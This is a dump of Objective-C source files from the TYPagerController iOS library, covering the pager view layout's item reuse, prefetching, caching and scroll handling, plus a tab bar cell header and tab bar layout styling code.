@property (nonatomic, strong) NSMutableDictionary *reuseIdentifyClassOrNib;
// reuse items
@property (nonatomic, strong) NSMutableDictionary *reuseIdentifyItems;
@end
static NSString * kScrollViewFrameObserverKey = @"scrollView.frame";
@implementation TYPagerViewLayout
#pragma mark - init
- (instancetype)initWithScrollView:(UIScrollView *)scrollView {
if (self = [super init]) {
NSParameterAssert(scrollView!=nil);
_scrollView = scrollView;
[self configurePropertys];
[self configureScrollView];
[self addScrollViewObservers];
}
return self;
}
#pragma mark - configure
- (void)configurePropertys {
_curIndex = -1;
_preOffsetX = 0;
_changeIndexWhenScrollProgress = 0.5;
_didReloadData = NO;
_didLayoutSubViews = NO;
_firstScrollToIndex = 0;
_prefetchItemWillAddToSuperView = NO;
_addVisibleItemOnlyWhenScrollAnimatedEnd = NO;
_progressAnimateEnabel = YES;
_adjustScrollViewInset = YES;
_scrollAnimated = YES;
_autoMemoryCache = YES;
}
- (void)configureScrollView {
_scrollView.showsHorizontalScrollIndicator = NO;
_scrollView.showsVerticalScrollIndicator = NO;
_scrollView.pagingEnabled = YES;
_scrollView.delegate = self;
}
- (void)resetPropertys {
[self clearMemoryCache];
[self removeVisibleItems];
_scrollAnimated = NO;
_curIndex = -1;
_preOffsetX = 0;
}
#pragma mark - getter setter
- (NSArray *)visibleItems {
return _visibleIndexItems.allValues;
}
- (NSArray *)visibleIndexs {
return _visibleIndexItems.allKeys;
}
- (NSMutableDictionary *)reuseIdentifyItems {
if (!_reuseIdentifyItems) {
_reuseIdentifyItems = [NSMutableDictionary dictionary];
}
return _reuseIdentifyItems;
}
- (NSMutableDictionary *)reuseIdentifyClassOrNib {
if (!_reuseIdentifyClassOrNib) {
_reuseIdentifyClassOrNib = [NSMutableDictionary dictionary];
}
return _reuseIdentifyClassOrNib;
}
- (NSCache *)memoryCache {
if (!_memoryCache) {
_memoryCache = [[TYAutoPurgeCache alloc]init];
_memoryCache.countLimit = kMemoryCountLimit;
}
return _memoryCache;
}
- (void)setAutoMemoryCache:(BOOL)autoMemoryCache {
_autoMemoryCache = autoMemoryCache;
if(!_autoMemoryCache && _memoryCache){
[_memoryCache removeAllObjects];
_memoryCache = nil;
}
}
- (void)setPrefetchItemCount:(NSInteger)prefetchItemCount {
_prefetchItemCount = prefetchItemCount;
if (prefetchItemCount <= 0 && _prefetchIndexItems) {
_prefetchIndexItems = nil;
}
}
- (void)setDataSource:(id<TYPagerViewLayoutDataSource>)dataSource {
_dataSource = dataSource;
_dataSourceFlags.addVisibleItem = [dataSource respondsToSelector:@selector(pagerViewLayout:addVisibleItem:atIndex:)];
_dataSourceFlags.removeInVisibleItem = [dataSource respondsToSelector:@selector(pagerViewLayout:removeInVisibleItem:atIndex:)];
}
- (void)setDelegate:(id<TYPagerViewLayoutDelegate>)delegate {
_delegate = delegate;
_delegateFlags.transitionFromIndexToIndex = [delegate respondsToSelector:@selector(pagerViewLayout:transitionFromIndex:toIndex:animated:)];
_delegateFlags.transitionFromIndexToIndexProgress = [delegate respondsToSelector:@selector(pagerViewLayout:transitionFromIndex:toIndex:progress:)];
_delegateFlags.pagerViewLayoutDidScroll = [delegate respondsToSelector:@selector(pagerViewLayoutDidScroll:)];
}
#pragma mark - public
- (void)reloadData {
[self resetPropertys];
[self updateData];
}
// update don't reset propertys(curIndex)
- (void)updateData {
[self clearMemoryCache];
_didReloadData = YES;
_countOfPagerItems = [_dataSource numberOfItemsInPagerViewLayout];
[self setNeedLayout];
}
/**
scroll to item at index
*/
- (void)scrollToItemAtIndex:(NSInteger)index animate:(BOOL)animate {
if (index < 0 || index >= _countOfPagerItems) {
if (!_didReloadData && index >= 0) {
_firstScrollToIndex = index;
}
return;
}
if (!_didLayoutSubViews && CGRectIsEmpty(_scrollView.frame)) {
_firstScrollToIndex = index;
}
[self scrollViewWillScrollToView:_scrollView animate:animate];
[_scrollView setContentOffset:CGPointMake(index * CGRectGetWidth(_scrollView.frame),0) animated:NO];
[self scrollViewDidScrollToView:_scrollView animate:animate];
}
- (id)itemForIndex:(NSInteger)idx {
NSNumber *index = @(idx);
// 1.from visibleViews
id visibleItem = [_visibleIndexItems objectForKey:index];
if (!visibleItem && _prefetchItemCount > 0) {
// 2.from prefetch
visibleItem = [_prefetchIndexItems objectForKey:index];
}
if (!visibleItem) {
// 3.from cache
visibleItem = [self cacheItemForKey:index];
}
return visibleItem;
}
- (UIView *)viewForItem:(id)item atIndex:(NSInteger)index {
UIView *view = [_dataSource pagerViewLayout:self viewForItem:item atIndex:index];
return view;
}
- (UIViewController *)viewControllerForItem:(id)item atIndex:(NSInteger)index {
if ([_dataSource respondsToSelector:@selector(pagerViewLayout:viewControllerForItem:atIndex:)]) {
return [_dataSource pagerViewLayout:self viewControllerForItem:item atIndex:index];
}
return nil;
}
- (CGRect)frameForItemAtIndex:(NSInteger)index {
CGRect frame = frameForItemAtIndex(index, _scrollView.frame);
if (_adjustScrollViewInset) {
frame.size.height -= _scrollView.contentInset.top;
}
return frame;
}
#pragma mark - register && dequeue
- (void)registerClass:(Class)Class forItemWithReuseIdentifier:(NSString *)identifier {
[self.reuseIdentifyClassOrNib setObject:Class forKey:identifier];
}
- (void)registerNib:(UINib *)nib forItemWithReuseIdentifier:(NSString *)identifier {
[self.reuseIdentifyClassOrNib setObject:nib forKey:identifier];
}
- (id)dequeueReusableItemWithReuseIdentifier:(NSString *)identifier forIndex:(NSInteger)index {
NSAssert(_reuseIdentifyClassOrNib.count != 0, @"you don't register any identifiers!");
NSObject *item = [self.reuseIdentifyItems objectForKey:identifier];
if (item) {
[self.reuseIdentifyItems removeObjectForKey:identifier];
return item;
}
id itemClassOrNib = [self.reuseIdentifyClassOrNib objectForKey:identifier];
if (!itemClassOrNib) {
NSString *error = [NSString stringWithFormat:@"you don't register this identifier->%@",identifier];
NSAssert(NO, error);
NSLog(@"%@", error);
return nil;
}
if (class_isMetaClass(object_getClass(itemClassOrNib))) {
// is class
item = [[((Class)itemClassOrNib) alloc]init];
}else if ([itemClassOrNib isKindOfClass:[UINib class]]) {
// is nib
item =[((UINib *)itemClassOrNib)instantiateWithOwner:nil options:nil].firstObject;
}
if (!item){
NSString *error = [NSString stringWithFormat:@"you register identifier->%@ is not class or nib!",identifier];
NSAssert(NO, error);
NSLog(@"%@", error);
return nil;
}
[item setTy_pagerReuseIdentify:identifier];
UIView *view = [_dataSource pagerViewLayout:self viewForItem:item atIndex:index];
view.frame = [self frameForItemAtIndex:index];
return item;
}
- (void)enqueueReusableItem:(NSObject *)reuseItem prefetchRange:(NSRange)prefetchRange atIndex:(NSInteger)index{
if (reuseItem.ty_pagerReuseIdentify.length == 0 || NSLocationInRange(index, prefetchRange)) {
return;
}
[self.reuseIdentifyItems setObject:reuseItem forKey:reuseItem.ty_pagerReuseIdentify];
}
#pragma mark - layout content
- (void)setNeedLayout {
// 1. get count Of pager Items
if (_countOfPagerItems <= 0) {
_countOfPagerItems = [_dataSource numberOfItemsInPagerViewLayout];
}
_needLayoutContent = YES;
if (_curIndex >= _countOfPagerItems) {
_curIndex = _countOfPagerItems - 1;
}
BOOL needLayoutSubViews = NO;
if (!_didLayoutSubViews && !CGRectIsEmpty(_scrollView.frame) && _firstScrollToIndex < _countOfPagerItems) {
_didLayoutSubViews = YES;
needLayoutSubViews = YES;
}
// 2.set contentSize and offset
CGFloat contentWidth = CGRectGetWidth(_scrollView.frame);
_scrollView.contentSize = CGSizeMake(_countOfPagerItems * contentWidth, 0);
_scrollView.contentOffset = CGPointMake(MAX(needLayoutSubViews ? _firstScrollToIndex : _curIndex, 0)*contentWidth, _scrollView.contentOffset.y);
// 3.layout content
if (_curIndex < 0 || needLayoutSubViews) {
[self scrollViewDidScroll:_scrollView];
}else {
[self layoutIfNeed];
}
}
- (void)layoutIfNeed {
if (CGRectIsEmpty(_scrollView.frame)) {
return;
}
// 1.caculate visible range
CGFloat offsetX = _scrollView.contentOffset.x;
NSRange visibleRange = visibleRangWithOffset(offsetX, CGRectGetWidth(_scrollView.frame), _countOfPagerItems);
if (NSEqualRanges(_visibleRange, visibleRange) && !_needLayoutContent) {
// visible range not change
return;
}
_visibleRange = visibleRange;
_needLayoutContent = NO;
BOOL afterPrefetchIfNoVisibleItems = !_visibleIndexItems;
if (!afterPrefetchIfNoVisibleItems) {
// 2.prefetch left and right Items
[self addPrefetchItemsOutOfVisibleRange:_visibleRange];
}
// 3.remove invisible Items
[self removeVisibleItemsOutOfVisibleRange:_visibleRange];
// 4.add visiible Items
[self addVisibleItemsInVisibleRange:_visibleRange];
if (afterPrefetchIfNoVisibleItems) {
[self addPrefetchItemsOutOfVisibleRange:_visibleRange];
}
}
#pragma mark - remove && add visibleViews
- (void)removeVisibleItems {
[_scrollView.subviews makeObjectsPerformSelector:@selector(removeFromSuperview)];
_visibleIndexItems = nil;
_prefetchIndexItems = nil;
if (_reuseIdentifyItems) {
[_reuseIdentifyItems removeAllObjects];
}
}
- (void)removeVisibleItemsOutOfVisibleRange:(NSRange)visibleRange {
[_visibleIndexItems enumerateKeysAndObjectsUsingBlock:^(NSNumber *key, id item, BOOL * stop) {
NSInteger index = [key integerValue];
if (!NSLocationInRange(index, visibleRange)) {
// out of visible
[self removeInvisibleItem:item atIndex:index];
}
}];
}
- (void)removeInvisibleItem:(id)invisibleItem atIndex:(NSInteger)index{
UIView *invisibleView = [self viewForItem:invisibleItem atIndex:index];
if (!invisibleView.superview) {
return;
}
if (_dataSourceFlags.removeInVisibleItem) {
[_dataSource pagerViewLayout:self removeInVisibleItem:invisibleItem atIndex:index];
}else {
NSAssert(NO, @"must implememt datasource pagerViewLayout:removeInVisibleItem:atIndex:!");
}
NSObject *reuseItem = invisibleItem;
if (_reuseIdentifyClassOrNib.count > 0 && reuseItem.ty_pagerReuseIdentify.length > 0) {
// reuse
[self enqueueReusableItem:reuseItem prefetchRange:_prefetchRange atIndex:index];
}else {
[self cacheItem:invisibleItem forKey:@(index)];
}
}
- (void)addVisibleItemsInVisibleRange:(NSRange)visibleRange {
NSMutableDictionary *visibleIndexItems = [NSMutableDictionary dictionary];
// add visible views
for (NSInteger idx = visibleRange.location ; idx < visibleRange.location + visibleRange.length; ++idx) {
// from visibleViews,prefetch,cache
id visibleItem = [self itemForIndex:idx];
if (!visibleItem && (!_addVisibleItemOnlyWhenScrollAnimatedEnd || visibleRange.length == 1)) {
// if _addVisibleItemOnlyWhenScrollAnimatedEnd is NO ,scroll visible range change will add item from dataSource, else is YES only scroll animate end(visibleRange.length == 1) will add item from dataSource
visibleItem = [_dataSource pagerViewLayout:self itemForIndex:idx prefetching:NO];
}
if (visibleItem) {
[self addVisibleItem:visibleItem atIndex:idx];
visibleIndexItems[@(idx)] = visibleItem;
}
}
if (visibleIndexItems.count > 0) {
_visibleIndexItems = [visibleIndexItems copy];
}else {
_visibleIndexItems = nil;
}
}
- (void)addVisibleItem:(id)visibleItem atIndex:(NSInteger)index{
if (!visibleItem) {
NSAssert(visibleItem != nil, @"visibleView must not nil!");
return;
}
UIView *view = [self viewForItem:visibleItem atIndex:index];
if (view.superview && view.superview != _scrollView) {
[view removeFromSuperview];
}
CGRect frame = [self frameForItemAtIndex:index];
if (!CGRectEqualToRect(view.frame, frame)) {
view.frame = frame;
}
if (!_prefetchItemWillAddToSuperView && view.superview) {
return;
}
if (_prefetchItemWillAddToSuperView && view.superview) {
UIViewController *viewController = [self viewControllerForItem:visibleItem atIndex:index];
if (!viewController || viewController.parentViewController) {
return;
}
}
if (_dataSourceFlags.addVisibleItem) {
[_dataSource pagerViewLayout:self addVisibleItem:visibleItem atIndex:index];
}else {
NSAssert(NO, @"must implement datasource pagerViewLayout:addVisibleItem:frame:atIndex:!");
}
}
- (void)addPrefetchItemsOutOfVisibleRange:(NSRange)visibleRange{
if (_prefetchItemCount <= 0) {
return;
}
NSRange prefetchRange = prefetchRangeWithVisibleRange(visibleRange, _prefetchItemCount, _countOfPagerItems);
if (visibleRange.length == 1) {
// mean: scroll animate end
NSMutableDictionary *prefetchIndexItems = [NSMutableDictionary dictionary];
// add prefetch items
for (NSInteger index = prefetchRange.location; index < NSMaxRange(prefetchRange); ++index) {
id prefetchItem = nil;
if (NSLocationInRange(index, visibleRange)) {
prefetchItem = [_visibleIndexItems objectForKey:@(index)];
}else {
prefetchItem = [self prefetchInvisibleItemAtIndex:index];
}
if (prefetchItem) {
[prefetchIndexItems setObject:prefetchItem forKey:@(index)];
}
}
BOOL haveReuseIdentifyClassOrNib = _reuseIdentifyClassOrNib.count > 0;
if (haveReuseIdentifyClassOrNib || _prefetchItemWillAddToSuperView) {
[_prefetchIndexItems enumerateKeysAndObjectsUsingBlock:^(NSNumber * key, id obj, BOOL * stop) {
NSInteger index = [key integerValue];
if (haveReuseIdentifyClassOrNib) {
// resuse item
[self enqueueReusableItem:obj prefetchRange:prefetchRange atIndex:index];
}
if (_prefetchItemWillAddToSuperView && !NSLocationInRange(index, prefetchRange)) {
// remove prefetch item to superView
UIView *view = [self viewForItem:obj atIndex:index];
if (view.superview == _scrollView && ![_visibleIndexItems objectForKey:key]) {
[view removeFromSuperview];
}
}
}];
}
if (prefetchIndexItems.count > 0) {
_prefetchRange = prefetchRange;
_prefetchIndexItems = [prefetchIndexItems copy];
}else {
_prefetchRange = NSMakeRange(0, 0);
_prefetchIndexItems = nil;
}
}else if (NSIntersectionRange(visibleRange, _prefetchRange).length == 0) {
// visible and prefetch intersection, remove all prefetchItems
if (_prefetchItemWillAddToSuperView) {
[_prefetchIndexItems enumerateKeysAndObjectsUsingBlock:^(NSNumber *key, id obj, BOOL *stop) {
UIView *view = [self viewForItem:obj atIndex:[key integerValue]];
if (view.superview == _scrollView && ![_visibleIndexItems objectForKey:key]) {
[view removeFromSuperview];
}
}];
}
_prefetchRange = NSMakeRange(0, 0);
_prefetchIndexItems = nil;
}
}
- (UIView *)prefetchInvisibleItemAtIndex:(NSInteger)index {
id prefetchItem = [_prefetchIndexItems objectForKey:@(index)];
if (!prefetchItem) {
prefetchItem = [_visibleIndexItems objectForKey:@(index)];
}
if (!prefetchItem) {
prefetchItem = [self cacheItemForKey:@(index)];
}
if (!prefetchItem) {
prefetchItem = [_dataSource pagerViewLayout:self itemForIndex:index prefetching:YES];
UIView *view = [self viewForItem:prefetchItem atIndex:index];
CGRect frame = [self frameForItemAtIndex:index];
if (!CGRectEqualToRect(view.frame, frame)) {
view.frame = frame;
}
if (_prefetchItemWillAddToSuperView && view.superview != _scrollView) {
[_scrollView addSubview:view];
}
}
return prefetchItem;
}
#pragma mark - caculate index
- (void)caculateIndexWithOffsetX:(CGFloat)offsetX direction:(TYPagerScrollingDirection)direction{
if (CGRectIsEmpty(_scrollView.frame)) {
return;
}
if (_countOfPagerItems <= 0) {
_curIndex = -1;
return;
}
// scrollView width
CGFloat width = CGRectGetWidth(_scrollView.frame);
NSInteger index = 0;
// when scroll to progress(changeIndexWhenScrollProgress) will change index
double percentChangeIndex = _changeIndexWhenScrollProgress;
if (_changeIndexWhenScrollProgress >= 1.0 || [self progressCaculateEnable]) {
percentChangeIndex = 0.999999999;
}
// caculate cur index
if (direction == TYPagerScrollingLeft) {
index = ceil(offsetX/width-percentChangeIndex);
}else {
index = floor(offsetX/width+percentChangeIndex);
}
if (index < 0) {
index = 0;
}else if (index >= _countOfPagerItems) {
index = _countOfPagerItems-1;
}
if (index == _curIndex) {
// if index not same,change index
return;
}
NSInteger fromIndex = MAX(_curIndex, 0);
_curIndex = index;
if (_delegateFlags.transitionFromIndexToIndex /*&& ![self progressCaculateEnable]*/) {
[_delegate pagerViewLayout:self transitionFromIndex:fromIndex toIndex:_curIndex animated:_scrollAnimated];
}
_scrollAnimated = YES;
}
- (void)caculateIndexByProgressWithOffsetX:(CGFloat)offsetX direction:(TYPagerScrollingDirection)direction{
if (CGRectIsEmpty(_scrollView.frame)) {
return;
}
if (_countOfPagerItems <= 0) {
_curIndex = -1;
return;
}
CGFloat width = CGRectGetWidth(_scrollView.frame);
CGFloat floadIndex = offsetX/width;
NSInteger floorIndex = floor(floadIndex);
if (floorIndex < 0 || floorIndex >= _countOfPagerItems || floadIndex > _countOfPagerItems-1) {
return;
}
CGFloat progress = offsetX/width-floorIndex;
NSInteger fromIndex = 0, toIndex = 0;
if (direction == TYPagerScrollingLeft) {
fromIndex = floorIndex;
toIndex = MIN(_countOfPagerItems -1, fromIndex + 1);
if (fromIndex == toIndex && toIndex == _countOfPagerItems-1) {
fromIndex = _countOfPagerItems-2;
progress = 1.0;
}
}else {
toIndex = floorIndex;
fromIndex = MIN(_countOfPagerItems-1, toIndex +1);
progress = 1.0 - progress;
}
if (_delegateFlags.transitionFromIndexToIndexProgress) {
[_delegate pagerViewLayout:self transitionFromIndex:fromIndex toIndex:toIndex progress:progress];
}
}
- (BOOL)progressCaculateEnable {
return _delegateFlags.transitionFromIndexToIndexProgress && _progressAnimateEnabel && !_isTapScrollMoved;
}
#pragma mark - memoryCache
- (void)clearMemoryCache {
if (_autoMemoryCache && _memoryCache) {
[_memoryCache removeAllObjects];
}
}
- (void)cacheItem:(id)item forKey:(NSNumber *)key {
if (_autoMemoryCache && key) {
UIView *cacheItem = [self.memoryCache objectForKey:key];
if (cacheItem && cacheItem == item) {
return;
}
[self.memoryCache setObject:item forKey:key];
}
}
- (id)cacheItemForKey:(NSNumber *)key {
if (_autoMemoryCache && _memoryCache && key) {
return [_memoryCache objectForKey:key];
}
return nil;
}
#pragma mark - UIScrollViewDelegate
- (void)scrollViewDidScroll:(UIScrollView *)scrollView {
if (!scrollView.superview) {
return;
}
// get scrolling direction
CGFloat offsetX = scrollView.contentOffset.x;
TYPagerScrollingDirection direction = offsetX >= _preOffsetX ? TYPagerScrollingLeft : TYPagerScrollingRight;
// caculate index and progress
if ([self progressCaculateEnable]) {
[self caculateIndexByProgressWithOffsetX:offsetX direction:direction];
}
[self caculateIndexWithOffsetX:offsetX direction:direction];
// layout items
[self layoutIfNeed];
_isTapScrollMoved = NO;
if (_delegateFlags.pagerViewLayoutDidScroll) {
[_delegate pagerViewLayoutDidScroll:self];
}
}
- (void)scrollViewWillBeginDragging:(UIScrollView *)scrollView
{
_preOffsetX = scrollView.contentOffset.x;
if ([_delegate respondsToSelector:@selector(pagerViewLayoutWillBeginDragging:)]) {
[_delegate pagerViewLayoutWillBeginDragging:self];
}
}
- (void)scrollViewWillScrollToView:(UIScrollView *)scrollView animate:(BOOL)animate {
_preOffsetX = scrollView.contentOffset.x;
_isTapScrollMoved = YES;
_scrollAnimated = animate;
if ([_delegate respondsToSelector:@selector(pagerViewLayoutWillBeginScrollToView:animate:)]) {
[_delegate pagerViewLayoutWillBeginScrollToView:self animate:animate];
}
}
- (void)scrollViewDidScrollToView:(UIScrollView *)scrollView animate:(BOOL)animate {
if ([_delegate respondsToSelector:@selector(pagerViewLayoutDidEndScrollToView:animate:)]) {
[_delegate pagerViewLayoutDidEndScrollToView:self animate:animate];
}
}
- (void)scrollViewDidEndDragging:(UIScrollView *)scrollView willDecelerate:(BOOL)decelerate {
if ([_delegate respondsToSelector:@selector(pagerViewLayoutDidEndDragging:willDecelerate:)]) {
[_delegate pagerViewLayoutDidEndDragging:self willDecelerate:decelerate];
}
}
- (void)scrollViewWillBeginDecelerating:(UIScrollView *)scrollView {
if ([_delegate respondsToSelector:@selector(pagerViewLayoutWillBeginDecelerating:)]) {
[_delegate pagerViewLayoutWillBeginDecelerating:self];
}
}
- (void)scrollViewDidEndDecelerating:(UIScrollView *)scrollView {
if ([_delegate respondsToSelector:@selector(pagerViewLayoutDidEndDecelerating:)]) {
[_delegate pagerViewLayoutDidEndDecelerating:self];
}
}
- (void)scrollViewDidEndScrollingAnimation:(UIScrollView *)scrollView {
if ([_delegate respondsToSelector:@selector(pagerViewLayoutDidEndScrollingAnimation:)]) {
[_delegate pagerViewLayoutDidEndScrollingAnimation:self];
}
}
#pragma mark - Observer
- (void)addScrollViewObservers {
[self addObserver:self forKeyPath:kScrollViewFrameObserverKey options:NSKeyValueObservingOptionNew|NSKeyValueObservingOptionOld context:nil];
}
- (void)observeValueForKeyPath:(NSString *)keyPath ofObject:(id)object change:(NSDictionary<NSKeyValueChangeKey,id> *)change context:(void *)context {
if ([keyPath isEqualToString:kScrollViewFrameObserverKey]) {
CGRect newFrame = [[change objectForKey:NSKeyValueChangeNewKey]CGRectValue];
CGRect oldFrame = [[change objectForKey:NSKeyValueChangeOldKey]CGRectValue];
BOOL needLayoutContent = !CGRectEqualToRect(newFrame, oldFrame);
if (needLayoutContent) {
[self setNeedLayout];
}
}
}
- (void)removeScrollViewObservers {
[self removeObserver:self forKeyPath:kScrollViewFrameObserverKey context:nil];
}
- (void)dealloc {
[self removeScrollViewObservers];
_scrollView.delegate = nil;
_scrollView = nil;
if (_reuseIdentifyItems) {
[_reuseIdentifyItems removeAllObjects];
}
if (_reuseIdentifyClassOrNib) {
[_reuseIdentifyClassOrNib removeAllObjects];
}
[self clearMemoryCache];
}
@end
```
|
/content/code_sandbox/TYPagerControllerDemo/TYPagerController/TYPagerViewLayout.m
|
objective-c
| 2016-05-18T14:23:06
| 2024-07-24T04:09:28
|
TYPagerController
|
12207480/TYPagerController
| 1,373
| 6,498
|
```objective-c
//
// TYTabTitleViewCell.h
// TYPagerControllerDemo
//
// Created by tany on 16/5/4.
//
#import <UIKit/UIKit.h>
NS_ASSUME_NONNULL_BEGIN
@protocol TYTabPagerBarCellProtocol <NSObject>
/**
font ,textColor will use TYTabPagerBarLayout's textFont,textColor
*/
@property (nonatomic, strong, readonly) UILabel *titleLabel;
@end
@interface TYTabPagerBarCell : UICollectionViewCell<TYTabPagerBarCellProtocol>
@property (nonatomic, weak,readonly) UILabel *titleLabel;
+ (NSString *)cellIdentifier;
@end
NS_ASSUME_NONNULL_END
```
|
/content/code_sandbox/TYPagerControllerDemo/TYPagerController/TabPager/TYTabPagerBarCell.h
|
objective-c
| 2016-05-18T14:23:06
| 2024-07-24T04:09:28
|
TYPagerController
|
12207480/TYPagerController
| 1,373
| 130
|
```objective-c
//
// TYTabPagerBarLayout.m
// TYPagerControllerDemo
//
// Created by tanyang on 2017/7/17.
//
#import "TYTabPagerBarLayout.h"
#import "TYTabPagerBar.h"
@interface TYTabPagerBarLayout ()
@property (nonatomic, weak) TYTabPagerBar *pagerTabBar;
@property (nonatomic, assign) CGFloat selectFontScale;
@end
#define kUnderLineViewHeight 2
@implementation TYTabPagerBarLayout
- (instancetype)initWithPagerTabBar:(TYTabPagerBar *)pagerTabBar {
if (self = [super init]) {
_pagerTabBar = pagerTabBar;
[self configurePropertys];
self.barStyle = TYPagerBarStyleProgressElasticView;
}
return self;
}
- (void)configurePropertys {
_cellSpacing = 2;
_cellEdging = 3;
_cellWidth = 0;
_progressHorEdging = 6;
_progressWidth = 0;
_animateDuration = 0.25;
_normalTextFont = [UIFont systemFontOfSize:15];
_selectedTextFont = [UIFont systemFontOfSize:18];
_normalTextColor = [UIColor colorWithRed:51/255.0 green:51/255.0 blue:51/255.0 alpha:1];
_selectedTextColor = [UIColor redColor];
_textColorProgressEnable = YES;
//_adjustContentCellsCenter = YES;
}
#pragma mark - geter setter
- (void)setProgressRadius:(CGFloat)progressRadius {
_progressRadius = progressRadius;
_pagerTabBar.progressView.layer.cornerRadius = progressRadius;
}
- (void)setProgressBorderWidth:(CGFloat)progressBorderWidth {
_progressBorderWidth = progressBorderWidth;
_pagerTabBar.progressView.layer.borderWidth = progressBorderWidth;
}
- (void)setProgressBorderColor:(UIColor *)progressBorderColor {
_progressBorderColor = progressBorderColor;
if (!_progressColor) {
_pagerTabBar.progressView.backgroundColor = [UIColor clearColor];
}
_pagerTabBar.progressView.layer.borderColor = progressBorderColor.CGColor;
}
- (void)setProgressColor:(UIColor *)progressColor {
_progressColor = progressColor;
_pagerTabBar.progressView.backgroundColor = progressColor;
}
- (void)setProgressHeight:(CGFloat)progressHeight {
_progressHeight = progressHeight;
CGRect frame = _pagerTabBar.progressView.frame;
CGFloat height = CGRectGetHeight(_pagerTabBar.collectionView.frame);
frame.origin.y = _barStyle == TYPagerBarStyleCoverView ? (height - _progressHeight)/2:(height - _progressHeight - _progressVerEdging);
frame.size.height = progressHeight;
_pagerTabBar.progressView.frame = frame;
}
- (UIEdgeInsets)sectionInset {
if (!UIEdgeInsetsEqualToEdgeInsets(_sectionInset, UIEdgeInsetsZero) || _barStyle != TYPagerBarStyleCoverView) {
return _sectionInset;
}
if (_barStyle == TYPagerBarStyleCoverView && _adjustContentCellsCenter) {
return _sectionInset;
}
CGFloat horEdging = -_progressHorEdging+_cellSpacing;
return UIEdgeInsetsMake(0, horEdging, 0, horEdging);
}
- (void)setAdjustContentCellsCenter:(BOOL)adjustContentCellsCenter {
BOOL change = _adjustContentCellsCenter != adjustContentCellsCenter;
_adjustContentCellsCenter = adjustContentCellsCenter;
if (change && _pagerTabBar.superview) {
[_pagerTabBar setNeedsLayout];
}
}
- (void)setBarStyle:(TYPagerBarStyle)barStyle
{
if (barStyle == _barStyle) {
return;
}
if (_barStyle == TYPagerBarStyleCoverView) {
self.progressBorderWidth = 0;
self.progressBorderColor = nil;
}
_barStyle = barStyle;
switch (barStyle) {
case TYPagerBarStyleProgressView:
self.progressWidth = 0;
self.progressHorEdging = 6;
self.progressVerEdging = 0;
self.progressHeight = kUnderLineViewHeight;
break;
case TYPagerBarStyleProgressBounceView:
case TYPagerBarStyleProgressElasticView:
self.progressWidth = 30;
self.progressVerEdging = 0;
self.progressHorEdging = 0;
self.progressHeight = kUnderLineViewHeight;
break;
case TYPagerBarStyleCoverView:
self.progressWidth = 0;
self.progressHorEdging = -self.progressHeight/4;
self.progressVerEdging = 3;
break;
default:
break;
}
_pagerTabBar.progressView.hidden = barStyle == TYPagerBarStyleNoneView;
if (barStyle == TYPagerBarStyleCoverView) {
_progressRadius = 0;
_pagerTabBar.progressView.layer.zPosition = -1;
[_pagerTabBar.progressView removeFromSuperview];
[_pagerTabBar.collectionView insertSubview: _pagerTabBar.progressView atIndex:0];
}else {
self.progressRadius = _progressHeight/2;
if (_pagerTabBar.progressView.layer.zPosition == -1) {
_pagerTabBar.progressView.layer.zPosition = 0;
[_pagerTabBar.progressView removeFromSuperview];
[_pagerTabBar.collectionView addSubview:_pagerTabBar.progressView];
}
}
}
#pragma mark - public
- (void)layoutIfNeed {
UICollectionViewFlowLayout *collectionLayout = (UICollectionViewFlowLayout *)_pagerTabBar.collectionView.collectionViewLayout;
collectionLayout.minimumLineSpacing = _cellSpacing;
collectionLayout.minimumInteritemSpacing = _cellSpacing;
_selectFontScale = self.normalTextFont.pointSize/(self.selectedTextFont ? self.selectedTextFont.pointSize:self.normalTextFont.pointSize);
collectionLayout.sectionInset = _sectionInset;
}
- (void)invalidateLayout {
[_pagerTabBar.collectionView.collectionViewLayout invalidateLayout];
}
- (void)adjustContentCellsCenterInBar {
if (!_adjustContentCellsCenter || !_pagerTabBar.superview) {
return;
}
CGRect frame = self.pagerTabBar.collectionView.frame;
if (CGRectIsEmpty(frame)) {
return;
}
UICollectionViewFlowLayout *collectionLayout = (UICollectionViewFlowLayout *)_pagerTabBar.collectionView.collectionViewLayout;
CGSize contentSize = collectionLayout.collectionViewContentSize;
NSArray *layoutAttribulte = [collectionLayout layoutAttributesForElementsInRect:CGRectMake(0, 0, MAX(contentSize.width, CGRectGetWidth(frame)), MAX(contentSize.height,CGRectGetHeight(frame)))];
if (layoutAttribulte.count == 0) {
return;
}
UICollectionViewLayoutAttributes *firstAttribute = layoutAttribulte.firstObject;
UICollectionViewLayoutAttributes *lastAttribute = layoutAttribulte.lastObject;
CGFloat left = CGRectGetMinX(firstAttribute.frame);
CGFloat right = CGRectGetMaxX(lastAttribute.frame);
if (right - left > CGRectGetWidth(self.pagerTabBar.frame)) {
return;
}
CGFloat sapce = (CGRectGetWidth(self.pagerTabBar.frame) - (right - left))/2;
_sectionInset = UIEdgeInsetsMake(_sectionInset.top, sapce, _sectionInset.bottom, sapce);
collectionLayout.sectionInset = _sectionInset;
}
- (CGRect)cellFrameWithIndex:(NSInteger)index {
return [_pagerTabBar cellFrameWithIndex:index];
}
#pragma mark - cell
- (void)transitionFromCell:(UICollectionViewCell<TYTabPagerBarCellProtocol> *)fromCell toCell:(UICollectionViewCell<TYTabPagerBarCellProtocol> *)toCell animate:(BOOL)animate {
if (_pagerTabBar.countOfItems == 0) {
return;
}
void (^animateBlock)() = ^{
if (fromCell) {
fromCell.titleLabel.font = _normalTextFont;
fromCell.titleLabel.textColor = _normalTextColor;
fromCell.transform = CGAffineTransformMakeScale(_selectFontScale, _selectFontScale);
}
if (toCell) {
toCell.titleLabel.font = _normalTextFont;
toCell.titleLabel.textColor = _selectedTextColor ? _selectedTextColor : _normalTextColor;
toCell.transform = CGAffineTransformIdentity;
}
};
if (animate) {
[UIView animateWithDuration:_animateDuration animations:^{
animateBlock();
}];
}else{
animateBlock();
}
}
- (void)transitionFromCell:(UICollectionViewCell<TYTabPagerBarCellProtocol> *)fromCell toCell:(UICollectionViewCell<TYTabPagerBarCellProtocol> *)toCell progress:(CGFloat)progress {
if (_pagerTabBar.countOfItems == 0 || !_textColorProgressEnable) {
return;
}
CGFloat currentTransform = (1.0 - _selectFontScale)*progress;
fromCell.transform = CGAffineTransformMakeScale(1.0-currentTransform, 1.0-currentTransform);
toCell.transform = CGAffineTransformMakeScale(_selectFontScale+currentTransform, _selectFontScale+currentTransform);
if (_normalTextColor == _selectedTextColor || !_selectedTextColor) {
return;
}
CGFloat narR=0,narG=0,narB=0,narA=1;
[_normalTextColor getRed:&narR green:&narG blue:&narB alpha:&narA];
CGFloat selR=0,selG=0,selB=0,selA=1;
[_selectedTextColor getRed:&selR green:&selG blue:&selB alpha:&selA];
